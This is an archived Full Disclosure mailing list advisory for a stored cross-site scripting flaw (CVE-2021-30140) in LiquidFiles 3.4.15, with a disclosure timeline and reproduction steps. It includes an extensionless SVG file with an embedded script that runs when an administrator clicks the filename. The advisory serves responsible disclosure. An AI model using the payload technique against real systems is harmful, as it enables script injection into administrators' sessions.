LiquidFiles - 3.4.15 - Stored XSS - CVE-2021-30140

From: Rodolfo Augusto do Nascimento Tavares via Fulldisclosure <fulldisclosure () seclists org>
Date: Wed, 18 May 2022 14:14:40 -0300

```
=====[ Tempest Security Intelligence - ADV-12/2021
]==========================

LiquidFiles - 3.4.15

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]=========================================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability
Information]=============================================
 * Class: Improper Neutralization of Input During Web Page Generation
 ('Cross-site Scripting') [CWE-79]

 * CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

=====[ Overview]==========================================================
 * System affected : LiquidFiles
 * Software Version : Version  - 3.4.15
 * Impacts :
  * XSS: LiquidFiles 3.4.15 has stored XSS through the "send email"
functionality when sending a file via email to an administrator. When a
file has no extension and contains malicious HTML / JavaScript content
(such as SVG with HTML content), the payload is executed upon a click. This
is fixed in 3.5.


=====[ Detailed
description]=============================================

* Stored XSS at [http://localhost:8080/message/new]:

* Steps to reproduce

1 - Create a file without extension, with the content below inside
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg";>
   <polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF"
stroke="#0000FF"/>
   <script type="text/javascript">
  alert(1);
   </script>
</svg>
```
2 - With an external user send an email with that file (without any
extension) to admin or someone.

3 -  With the admin account go to the menu click on "Data", inside the
"Data" menu click at "Messages", and select the message that you sent at
step 2. At the table click on the filename row over your file, the
javascript code will be executed.

=====[ Timeline of
disclosure]==============================================

11/Jan/2021 - Responsible disclosure was initiated with the vendor.
12/Jan/2021 - LiquidFiles Support confirmed the issue;
18/Fev/2021 - The vendor fixed the vulnerability the second stored XSS's
06/Apr/2021 - CVEs was assigned and reserved as CVE-2021-30140

=====[ Thanks & Acknowledgements]=========================================
 * Tempest Security Intelligence [5]

=====[ References ]=======================================================

[1][ [
https://cwe.mitre.org/data/definitions/79.html]|https://cwe.mitre.org/data/definitions/79.html
]]
[2][ [https://gist.github.com/rodnt/9f7d368fac38cafa7334598ec94fb167]]
[3][ [https://www.tempest.com.br|
https://www.tempest.com.br/]|https://www.tempest.com.br/]

=====[ EOF ]==============================================================
--
_____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

LiquidFiles - 3.4.15 - Stored XSS - CVE-2021-30140 *Rodolfo Augusto do Nascimento Tavares via Fulldisclosure (May 18)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide

Npcap packet capture
User's Guide
API docs

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure

Security Tools
Vuln scanners
Password audit
Web scanners

About
About/Contact
Privacy
Advertising